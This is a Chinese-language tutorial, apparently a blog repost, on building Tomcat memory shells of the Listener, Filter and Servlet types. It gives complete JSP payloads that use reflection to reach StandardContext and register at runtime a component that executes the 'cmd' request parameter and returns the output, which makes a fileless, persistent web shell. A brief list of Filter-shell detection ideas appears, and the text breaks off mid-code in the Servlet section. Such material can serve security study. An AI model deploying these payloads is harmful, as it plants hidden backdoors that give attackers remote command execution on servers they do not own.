天天看點

Java記憶體馬簡單實作

文章目錄

    • Tomcat記憶體馬
      • JavaWeb 基本流程
      • Listener型記憶體馬
        • 惡意Listener監聽器
        • 動态注冊Listener流程
        • 構造Listener記憶體馬
          • 編寫惡意Listener監聽器
          • 獲得StandardContext對象
          • 動态注冊Listener
        • Listener記憶體馬完整代碼
      • Filter記憶體馬
        • 基本原理
        • 惡意Filter過濾器
        • 動态注冊Filter流程
        • 建構Filter記憶體馬
          • 編寫惡意Filter過濾器
          • 獲得StandardContext對象
          • 構造ApplicationFilterConfig
          • 構造惡意FilterMap
          • 動态注冊Filter記憶體馬
        • Filter記憶體馬完整代碼
        • Tomcat各版本對Filter記憶體馬支援
        • Filter記憶體馬檢測思路
      • Servlet記憶體馬
        • 惡意Servlet
        • 動态注冊Servlet流程
        • 構造Servlet記憶體馬
          • 編寫惡意`Servlet`類
          • 獲得StandardContext對象
          • 建立Wrapper
          • 設定Servlet屬性
          • 動态注冊Servlet
        • Servlet記憶體馬完整代碼
      • 參考連結

Tomcat記憶體馬

JavaWeb 基本流程

​ 與php記憶體馬不同的是,Java記憶體馬并不是死循環建立檔案的笨辦法,但很類似,首先我們先來了解一下JavaWeb的基本元件。通常運作Java的web容器是tomcat,這裡以tomcat為例,用戶端與伺服器(tomcat)互動流程如圖所示:

Java記憶體馬簡單實作

​ 用戶端發起的web請求會依次經過Listener、Filter、Servlet三個元件,我們隻要在這個請求中做手腳,在記憶體中修改已有的元件或者動态注冊一個新的元件,插入惡意的shellcode,就可以達到我們的目的。動态注冊技術的實作有賴于官方對Servlet3.0的更新,Servlet在3.0版本之後能夠支援動态注冊元件。而Tomcat直到7.x才支援Servlet3.0,是以通過動态注冊添加記憶體馬的方式适合Tomcat7.x以上版本。

按照shellcode的具體位置,就有

  • listener記憶體馬
  • filter記憶體馬
  • Servlet記憶體馬
  • 等等

Listener型記憶體馬

​ listenre顧名思義,監聽某一事件的發生,狀态改變等,監聽器可以監聽資源的b變化,簡單說就是在

application

session

request

三個對象建立、銷毀或者往其中添加修改删除屬性時自動執行代碼的功能元件。

​ 請求網站的時候,程式會先執行listener監聽器的内容,tomcat三大元件執行順序:Listener->Filter->Servlet。Listerner的優先級是相對比較高的,是以可以利用Listener元件注冊記憶體馬。Listener類型包括一下三種:

  • ServletContextListener:伺服器啟動和終止時觸發
  • HttpSessionListener:有關Session操作時觸發
  • ServletRequestListener:通路服務時觸發

​ 最适合做記憶體馬的當然是SercletRequestListener,隻要通路服務或網絡請求,都會觸發監聽器,進而執行

ServletRequestListener#requestInitialized()

,接下來,我們在伺服器後端寫一個惡意監聽器。

惡意Listener監聽器

// src/main/java/Listener_memshell.java
package example.demo;

import jdk.nashorn.internal.ir.RuntimeNode;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;

@WebListener
public class Listener_memshell implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre){
        // 擷取request請求
        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
        // 擷取response請求

        // 擷取參數
        String cmd = req.getParameter("cmd");
        if(cmd != null){
            try{
                // 獲得response響應
                Field requestF = req.getClass().getDeclaredField("request");
                requestF.setAccessible(true);
                Request request = (Request) requestF.get(req);
                Response response = (Response) request.getResponse();

                // 執行指令
                InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                BufferedInputStream bins = new BufferedInputStream(ins);
                response.setContentType("text/html;charset=UTF-8");
                response.getWriter().write("Listener_memshell 被執行\n");
                int len;
                while ((len = bins.read()) != -1) {
                    response.getWriter().write(len);
                }
            } catch (IOException e){
                e.printStackTrace();
            } catch (NullPointerException n){
                n.printStackTrace();
            } catch (NoSuchFieldException e) {
            } catch (IllegalAccessException e) {
            }
        }
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre){

    }
}
           

通路任意路由都可觸發指令執行。

Java記憶體馬簡單實作

​ 當然,這是我們直接在伺服器後端生成的Listener,在實際利用中我們不可能直接在伺服器上添加Listener,大多數情況,我們都是先通過檔案上傳等方式獲得任意代碼執行的權限,之後通過執行代碼的形式向伺服器中添加Servlet,接下來我們詳細介紹一下如何通過任意代碼執行向伺服器中植入Listener記憶體馬。

動态注冊Listener流程

​ 在實際生活中,我們不可能直接将惡意Listener類部署到伺服器上,是以我們需要找到伺服器添加Listener的具體過程,手動調用添加Listener,進而注入記憶體馬。在

requestInitialized()

處下斷點,檢視其調用棧。

Java記憶體馬簡單實作

通過調用連可以發現,Tomcat在

StandardContext#fireRequestInitEvent

處調用了我們的惡意Listener。

Java記憶體馬簡單實作

而惡意Listener存儲在instances,由

StandardContext#getApplicationEventListeners

擷取,繼續跟進

StandardContext#getApplicationEventListeners

Java記憶體馬簡單實作

getApplicationEventListeners

調用

applicationEventListenersList.toArray()

,而

applicationEventListenersList

是定義在

StandardContext

的私有數組,是以我們的目标就變成了如何在

applicationEventListenersList

數組中添加我們的惡意Listener。

Java記憶體馬簡單實作
Java記憶體馬簡單實作

繼續向下尋找,我們會找到

StandardContext#addApplicationEventListener

方法,注釋表明該方法用于添加一個監聽器,由此可知,我們隻需要獲得一個

StandardContext

對象,然後調用

addApplicationEventListener

即可添加我們的惡意Listener。

Java記憶體馬簡單實作

現在,我們可以直到動态注冊Listener記憶體馬基本步驟了:

  • 1.編寫惡意Listener監聽器。
  • 2.擷取StandardContext。
  • 3.動态注冊惡意Listener監聽器。

構造Listener記憶體馬

編寫惡意Listener監聽器
<%!
    public class Listener_memshell implements ServletRequestListener {
        @Override
        public void requestInitialized(ServletRequestEvent sre){
            // 擷取request請求
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            // 擷取參數
            String cmd = req.getParameter("cmd");
            if(cmd != null){
                try{
                    // 獲得response響應
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request) requestF.get(req);
                    Response response = (Response) request.getResponse();

                    // 執行指令
                    InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                    BufferedInputStream bins = new BufferedInputStream(ins);
                    response.setContentType("text/html;charset=UTF-8");
                    response.getWriter().write("Listener_memshell 被執行\n");
                    int len;
                    while ((len = bins.read()) != -1) {
                        response.getWriter().write(len);
                    }
                } catch (IOException e){
                    e.printStackTrace();
                } catch (NullPointerException n){
                    n.printStackTrace();
                } catch (NoSuchFieldException e) {
                } catch (IllegalAccessException e) {
                }
            }
        }
        @Override
        public void requestDestroyed(ServletRequestEvent sre){

        }
    }
%>
           
獲得StandardContext對象

StandardHostValve#invoke

中,可以看到其通過request對象來擷取

StandardContext

類,我們可以模仿其擷取方法擷取

StandardContext

對象。

Java記憶體馬簡單實作
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>
           

此外,還有一些其他方法擷取

StandardContext

對象。

<%
	WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
           
動态注冊Listener
// 添加惡意Listener
    Listener_memshell listener_memshell = new Listener_memshell();
    context.addApplicationEventListener(listener_memshell);
           

Listener記憶體馬完整代碼

根據上述三個步驟建構的payload如下所示。

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public class Listener_memshell implements ServletRequestListener {
        @Override
        public void requestInitialized(ServletRequestEvent sre){
            // 擷取request請求
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            // 擷取參數
            String cmd = req.getParameter("cmd");
            if(cmd != null){
                try{
                    // 獲得response響應
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request) requestF.get(req);
                    Response response = (Response) request.getResponse();

                    // 執行指令
                    InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                    BufferedInputStream bins = new BufferedInputStream(ins);
                    response.setContentType("text/html;charset=UTF-8");
                    response.getWriter().write("Listener_memshell 被執行\n");
                    int len;
                    while ((len = bins.read()) != -1) {
                        response.getWriter().write(len);
                    }
                } catch (IOException e){
                    e.printStackTrace();
                } catch (NullPointerException n){
                    n.printStackTrace();
                } catch (NoSuchFieldException e) {
                } catch (IllegalAccessException e) {
                }
            }
        }
        @Override
        public void requestDestroyed(ServletRequestEvent sre){

        }
    }
%>
<%
    // 獲得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    // 添加惡意Listener
    Listener_memshell listener_memshell = new Listener_memshell();
    context.addApplicationEventListener(listener_memshell);
%>
           

Filter記憶體馬

基本原理

​ filter也稱之為過濾器,過濾器實際上就是對web資源進行攔截,做一些過濾,權限鑒别等處理後再交給下一個過濾器或Servlet處理,通常都是用來攔截request進行處理的,也可以對傳回的response進行攔截處理。其工作原理是,當web.xml注冊了一個Filter來對某個Servlet 程式進行攔截處理時該 Filter 可以對Servlet 容器發送給 Servlet 程式的請求和 Servlet 程式回送給 Servlet 容器的響應進行攔截,可以決定是否将請求繼續傳遞給 Servlet 程式,以及對請求和相應資訊進行修改。filter型記憶體馬是将指令執行的檔案通過動态注冊成一個惡意的filter,這個filter沒有落地檔案并可以讓用戶端發來的請求通過它來做指令執行。

**request:**用來封裝請求資料的對象,擷取請求資料。

  • 浏覽器會發送HTTP請求到JavaWeb伺服器;
  • 背景伺服器會對HTTP中的資料解析并存入request對象中;
  • 後續對請求的讀取等操作,對将針對request對象進行操作

**response:**用來封裝響應資料的對象,設定響應資料。

  • 在HTTP處理結束後,業務處理的結果會存儲到response對象中;
  • 背景伺服器通過讀取response對象,重新拼接為HTTP響應資料,發送給使用者。
Java記憶體馬簡單實作

​ 接下來,我們介紹一下Filter記憶體馬建構過程。與Listener記憶體馬分析流程類似,我們先建構一個惡意的Filter過濾器,然後分析其加載過程,進而模拟加載Filter加載惡意Fiter記憶體馬。

惡意Filter過濾器

// src/main/java/Filter_memshell.java
package example.demo;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;

@WebFilter(filterName = "Filter_memshell",
    urlPatterns = "/Login"
)

public class Filter_memshell implements Filter {
    private String message;
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        message = "調用 Filter_mem";
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        PrintWriter printWriter = response.getWriter();
        // 執行指令
        if(cmd != null) {
            InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
            BufferedInputStream bins = new BufferedInputStream(ins);
            response.setContentType("text/html;charset=UTF-8");
            printWriter.write("Filter_memshell 被執行");
            int len;
            while ((len = bins.read()) != -1) {
                printWriter.write(len);
            }
        }
        // 放行請求
        chain.doFilter(request,response);
    }

    @Override
    public void destroy() {
    }
}
           

通路

/Login

即刻觸發指令執行。

Java記憶體馬簡單實作

動态注冊Filter流程

同樣的,在

Filter_memshell#doFilter

下斷點,檢視調用棧情況。

Java記憶體馬簡單實作

可以看到在

ApplicationFilterChain#internalDoFilter

方法中,調用了

filter.doFilter

,filter變量存儲着我們的惡意Listener類,繼續檢視

filter

如何生成的。

Java記憶體馬簡單實作

可以看到

filter

是由

filterConfig.getFilter

傳回的,而filterConfig是filters數組元素,很明顯

ApplicationFilterChain#filters

數組存儲的就是所有

FilterConfig

的地方。

Java記憶體馬簡單實作
Java記憶體馬簡單實作

同時我們也可以發現

ApplicationFilterChain#addFilter

,熟悉的感覺又來了,Listener也是這樣的,我們隻需要找一個

ApplicationFilterChain

對象就行,Tomcat代碼風格果然類似。

Java記憶體馬簡單實作

繼續傳回上一層,在

StandardWrapperValue#invoke

中發現了

filterChain.doFilter

調用,而

filterChain

對象則是來自于

ApplicationFilterFactory.createFilterChain

Java記憶體馬簡單實作
Java記憶體馬簡單實作

跟進

ApplicationFilterFactory#createFilterChain

方法,發現

filterChain

首先通過

new ApplicationFilterChain()

建立一個空的

filterChain

,之後擷取

StandardContext#FilterMaps

FilterMaps

對象存儲的是對象中存儲的是各Filter的名稱路徑等資訊,是以,我們需要構造一個惡意的

FilterMap

對象。最終我們可以看到

StandardContext#FilterMaps

是由

StandardContext#addFilterMapBefore

StandardContext#addFilterMap

寫入的,但是吧

StandardContext#addFilterMapBefore

是頭插入方式,即插入的Filter排在循序表前部,更容易被周遊到,是以一般都選擇

StandardContext#addFilterMapBefore

進行插入。

Java記憶體馬簡單實作

最後周遊

filterMaps

将符合條件的使用addFilter将

filterConfig

添加至鍊上,而filterConfig是存儲在context中的,是以我們還要構造ApplicationFilterConfig對象。

Java記憶體馬簡單實作

現在整個流程開始明朗了起來,動态注冊Filter流程如下:

  • 1.編寫惡意Filter過濾器
  • 2.獲得StandardContex對象
  • 3.構造ApplicationFilterConfig
  • 4.構造惡意FilterMap

建構Filter記憶體馬

編寫惡意Filter過濾器
<%!
    public class Filter_memshell implements Filter {
        private String message;
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            message = "調用 Filter_mem";
        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            PrintWriter printWriter = response.getWriter();
            // 執行指令
            if(cmd != null) {
                InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                BufferedInputStream bins = new BufferedInputStream(ins);
                response.setContentType("text/html;charset=UTF-8");
                printWriter.write("Filter_memshell 被執行");
                int len;
                while ((len = bins.read()) != -1) {
                    printWriter.write(len);
                }
            }
            // 放行請求
            chain.doFilter(request,response);
        }

        @Override
        public void destroy() {
        }
    }
%>
           
獲得StandardContext對象

StandardContext對象主要用來管理Web應用的一些全局資源,如Session、Cookie、Servlet等。是以我們有很多方法來擷取StandardContext對象。

擷取StandardContext實在是有多種方法(包括Listener記憶體馬擷取StandardContext),以後可能會統一整理一下,這裡列舉一二。

方法一

Tomcat在啟動時會為每個Context都建立個ServletContext對象,來表示一個Context,進而可以将ServletContext轉化為StandardContext。

//擷取ApplicationContextFacade類
ServletContext servletContext = request.getSession().getServletContext();
 
//反射擷取ApplicationContextFacade類屬性context為ApplicationContext類
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
 
//反射擷取ApplicationContext類屬性context為StandardContext類
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
           

方法二

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
           

方法三

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
           

此方法在Tomcat 8 9是可用的,但是由于高版本tomcat把

getResouces

傳回值弄成null了,就沒法用了,可以使用反射擷取Resources,下面的代碼懶得測試了,遇到再說。

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot resources = (StandardRoot) getField(webappClassLoaderBase, "resources");
StandardContext standardContext = (StandardContext) resources.getContext();
           

方法四

// 從 request 的 ServletContext 對象中循環判斷擷取 Tomcat StandardContext 對象
while (o == null) {
	Field f = servletContext.getClass().getDeclaredField("context");
	f.setAccessible(true);
	Object object = f.get(servletContext);

if (object instanceof ServletContext) {
	servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
	o = (StandardContext) object;
	}
}
           
構造ApplicationFilterConfig

檢視ApplicationFilterConfig的構造函數,發現除了需要context之外,還需要FilterDef對象,emmmm。

Java記憶體馬簡單實作

再次檢視

FilterDef

對象,可以看到

FilterDef

對象中

filter

filterClass

filterName

屬性,分别對應web.xml中的filter标簽。

FilterDef

的作用主要為描述Filter名字與Filter 執行個體的關系。同時後面調用

context.FilterMap

的時候會校驗

FilterDef

,是以我們需要先設定

FilterDef

Java記憶體馬簡單實作
<filter>
    <filter-name></filter-name>
    <filter-class></filter-class>
</filter>
           

​ 此外在

StandardContext

中發現了

addFilterDef

方法,獲得

StandardContext

看來确實必不可少。

Java記憶體馬簡單實作

建立FilterDef對象

// 建立FilterDef對象
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilter(new Filter_memshell());
filterDef.setFilterClass(Filter_memshell.class.getName());
// 添加FilterDef對象
standardContext.addFilterDef(filterDef);
           

建立ApplicationFIlterConfig對象

// 建立 ApplicationFilterConfig 對象
Constructor <?> [] constructor = ApplicationFilterConfig.class.getDeclaredConstructors();
constructor[0].setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor[0].newInstance(standardContext,filterDef);
           
構造惡意FilterMap

filterMaps

中以array的形式存放各filter的路徑映射資訊,其對應的是web.xml中的

<filter-mapping>

标簽。

Java記憶體馬簡單實作
<filter-mapping>
    <filter-name></filter-name>
    <url-pattern></url-pattern>
</filter-mapping>
           
// 建立filterMap
FilterMap filterMap =new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/filter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 調用standardContext#addFilterMapBefore添加FilterMap對象
standardContext.addFilterMapBefore(filterMap);

// // 調用FilterMaps#addBefore添加FilterMap對象
// Class ContextFilterMaps = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
// filterMapsField.setAccessible(true);
// Object contextFilterMaps = filterMapsField.get(standardContext);

// Class cl = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Method m = cl.getDeclaredMethod("addBefore", FilterMap.class);
// m.setAccessible(true);
// m.invoke(contextFilterMaps, filterMap);
           
動态注冊Filter記憶體馬
// 将filterConfig添加至filterConfigs數組
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 将filterConfig添加至filterConfigs數組
filterConfigs.put(filterName,filterConfig);
           

Filter記憶體馬完整代碼

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterChain" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="example.demo.Filter_memshell" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="org.apache.catalina.webresources.StandardRoot" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public class Filter_memshell implements Filter {
        private String message;
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            message = "調用 Filter_mem";
        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            PrintWriter printWriter = response.getWriter();
            // 執行指令
            if(cmd != null) {
                InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                BufferedInputStream bins = new BufferedInputStream(ins);
                response.setContentType("text/html;charset=UTF-8");
                printWriter.write("Filter_memshell 被執行");
                int len;
                while ((len = bins.read()) != -1) {
                    printWriter.write(len);
                }
                return;
            }
            // 放行請求
            chain.doFilter(request,response);
        }

        @Override
        public void destroy() {
        }
    }
%>
<%
    try {
        String filterName = "filter_memshell";
        // 擷取ServletContext
        ServletContext servletContext = request.getServletContext();

        // 如果存在此filterName的Filter,則不在重複添加
        if (servletContext.getFilterRegistration(filterName) == null){
            // 擷取StandardContext方法一
            // Field reqF = request.getClass().getDeclaredField("request");
            // reqF.setAccessible(true);
            // Request req = (Request) reqF.get(request);
            // StandardContext standardContext = (StandardContext) req.getContext();

            // 擷取StandardContext方法二
            // 擷取ApplicationContextFacade類
            // ServletContext servletContext = request.getSession().getServletContext();
            // // 反射擷取ApplicationContextFacade類屬性context為ApplicationContext類
            // Field appContextField = servletContext.getClass().getDeclaredField("context");
            // appContextField.setAccessible(true);
            // ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
            // // 反射擷取ApplicationContext類屬性context為StandardContext類
            // Field standardContextField = applicationContext.getClass().getDeclaredField("context");
            // standardContextField.setAccessible(true);
            // StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

            // 擷取StandardContext方法三
            // WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            // StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            // 擷取StandardContext方法四
            // 從 request 的 ServletContext 對象中循環判斷擷取 Tomcat StandardContext 對象
            StandardContext standardContext = null;
            while (standardContext == null) {
                Field f = servletContext.getClass().getDeclaredField("context");
                f.setAccessible(true);
                Object object = f.get(servletContext);

                if (object instanceof ServletContext) {
                    servletContext = (ServletContext) object;
                } else if (object instanceof StandardContext) {
                    standardContext = (StandardContext) object;
                }
            }

            // 建立FilterDef對象
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterName(filterName);
            filterDef.setFilter(new Filter_memshell());
            filterDef.setFilterClass(Filter_memshell.class.getName());
            // 添加FilterDef對象
            standardContext.addFilterDef(filterDef);

            // 建立FilterMap
            FilterMap filterMap =new FilterMap();
            filterMap.setFilterName(filterName);
            filterMap.addURLPattern("/filter");
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            // 調用standardContext#addFilterMapBefore添加FilterMap對象
            standardContext.addFilterMapBefore(filterMap);

            // // 調用FilterMaps#addBefore添加FilterMap對象
            // Class ContextFilterMaps = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
            // Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
            // filterMapsField.setAccessible(true);
            // Object contextFilterMaps = filterMapsField.get(standardContext);
            //
            // Class cl = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
            // Method m = cl.getDeclaredMethod("addBefore", FilterMap.class);
            // m.setAccessible(true);
            // m.invoke(contextFilterMaps, filterMap);

            // 獲得filterConfigs數組
            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            // 建立 ApplicationFilterConfig 對象
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

            // 将filterConfig添加至filterConfigs數組
            filterConfigs.put(filterName,filterConfig);
            response.getWriter().println("Filter記憶體馬添加成功");

        }
    } catch (Exception e){
        response.getWriter().println(e.getMessage());
    }
%>
           

doFilter

中(代碼第42行)有一個return,這是為了防止通路時出現404報錯,由于Servlet沒有這個路由網頁,是以後端傳回404,但此時doFilter是已經成功執行指令的,為了使其回顯出來,是以添加了return,使得請求不通過Servlet直接傳回。

Java記憶體馬簡單實作
Java記憶體馬簡單實作

Tomcat各版本對Filter記憶體馬支援

首先之前構造的Filter型記憶體馬是指支援Tomcat7以上,原因是因為

javax.servlet.DispatcherType

類是servlet 3 以後引入,而 Tomcat 7以上才支援 Servlet 3。

且在Tomcat7與8中 FilterDef 和 FilterMap 這兩個類所屬的包名不一樣

tomcat 7:

org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;
           

tomcat 8:

org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;
           

Filter記憶體馬檢測思路

  • 檢測帶有特殊函數的filter名字
  • filter優先級,filter記憶體馬的優先級一般為最高
  • 檢視web.xml中有沒有可以的filter配置
  • 檢查特殊的classloader
  • 檢測classloader路徑下沒有class檔案
  • 檢測Filter中的doFilter方法是否有惡意代碼
  • 如果是代碼執⾏漏洞,排查中間件的 error.log,檢視是否有可疑的報錯,判斷注⼊時間和⽅法

Servlet記憶體馬

​ servlet是一種運作在伺服器端的java應用程式,主要功能在于互動式地浏覽和修改資料,生成動态Web内容。基本流程為:

  • 用戶端發送請求至伺服器端;
  • 伺服器将請求資訊發送至Servlet;
  • Servlet生成響應資訊并将其傳給伺服器。響應内容動态生成,通常取決于用戶端的請求;
  • 服務将響應傳回給用戶端。

惡意Servlet

在進行Servlet編寫之前,我們先對手動生成一個惡意的Servlet,使用注解的方式手動在伺服器背景添加Servlet。

// src/main/java/example/demo/Servlet_memshell.jsp
package example.demo;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(
        name = "Servlet_memshell",
        urlPatterns = "/servlet"
)
public class Servlet_memshell extends HttpServlet {
    private String message;

    public void init() {
        message = "Servlet 指令執行輸出:\n";
    }

    public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        if(cmd != null) {
            try {
                InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                BufferedInputStream bins = new BufferedInputStream(ins);
                resp.setContentType("text/html;charset=UTF-8");
                resp.getWriter().write(message);
                int len;
                while ((len = bins.read()) != -1) {
                    resp.getWriter().write(len);
                }
            }catch (Exception e){
                resp.getWriter().println(e.getMessage());
            }
        }
    }

    public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}
           

​ 通路

http://localhost:8080/servlet?cmd=whoami

,指令執行成功。此時我們獲得了一個可以執行指令的Servlet。

Java記憶體馬簡單實作

動态注冊Servlet流程

我們使用Listener監聽servlet來了解servlet在tomcat中的建立過程,在

contextInitialized

處下斷點。

// src/main/java/example/demo/Listener_servlet
package example.demo;

import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.annotation.WebListener;

@WebListener
public class Listener_servlet implements ServletContextListener {

    @Override
    public void contextInitialized(ServletContextEvent sce) {
        System.out.println("ServletContext對象建立了!");
    }

    @Override
    public void contextDestroyed(ServletContextEvent sce) {
        System.out.println("ServletContext對象銷毀了!");
    }
}
           

進入

StandardContext#startInternal

可以發現調用

StandardContext#loadOnStartup

加載啟動servlet。

Java記憶體馬簡單實作

跟進

StandardContext#loadOnStartup

,發現

loadOnStartup

中周遊傳入

children

參數,并判斷

loadOnStartup

,如果>=0,則放

list

中,并使用

wrapper.load()

進行加載。

children

參數内容就是tomcat需要建立的servlet,這裡我們可以看到tomcat自己建立的

default

jsp

servlet以及,我們自己建立的

Servlet_memshell

servlet,

Login

也是我們自己建立的,對Servlet記憶體馬沒有影響,這裡可忽略

Java記憶體馬簡單實作

loadOnStartup

實際上就是Tomcat Servlet的懶加載機制,可以通過

loadOnStartup

屬性值來設定每個Servlet的啟動順序0,正數的值越小,啟動該servlet的優先級越高,預設值為-1,此時隻有當Servlet被調用時才加載到記憶體中,

loadOnStartup

web.xml

中由

<load-on-startup>1</load-on-startup>

标簽指定。由于我們要注入記憶體馬,且沒有配置xml不會在應用啟動時就加載這個servlet,是以需要把優先級調至1,讓自己寫的servlet直接被加載。

Java記憶體馬簡單實作

繼續查找children是從哪裡儲存的,既然能夠生成我們所設定的servlet,那麼一定讀取了

web.xml

經過查找在

StandContext#startInternal

中,調用

fireLifecycleEvent

進行配置。

Java記憶體馬簡單實作
Java記憶體馬簡單實作

ContextConfig#configureStart

中發現調用了

webConfig

配置。

Java記憶體馬簡單實作

最終在

ContextConfig#webConfig

中發現

contextWebXml

變量,可以看到其中存在

web.xml

的實體路徑。

Java記憶體馬簡單實作

繼續向下執行,發現除了讀取

web.xml

外,同時合并了注解類型的配置,以及tomcat預設配置,最終存儲在

webXml

變量中,我們可以看到

Login

是在

web.xml

中進行配置的,

Servlet_menshell

是通過注解配置的,而

default

jsp

是tomcat預設配置的,這就解釋了tomcat為什麼能夠解析jsp代碼,因為其中預設配置了

jsp

的servlet。

Java記憶體馬簡單實作

最後進入

ContextConfig#configureContext

應用配置,在

configureContext

我們能夠發現,應用servlet的具體步驟,同時在此處我們也可以了解到listener和filter元件應用的步驟。

public class ContextConfig implements LifecycleListener {
    ...
    private void configureContext(WebXml webxml) {
    ...
        for (ServletDef servlet : webxml.getServlets().values()) {
        	// 對每個Servlet建立wrapper
            Wrapper wrapper = context.createWrapper();
            // Description is ignored
            // Display name is ignored
            // Icons are ignored
            // 設定LoadOnStartup屬性
            if (servlet.getLoadOnStartup() != null) {
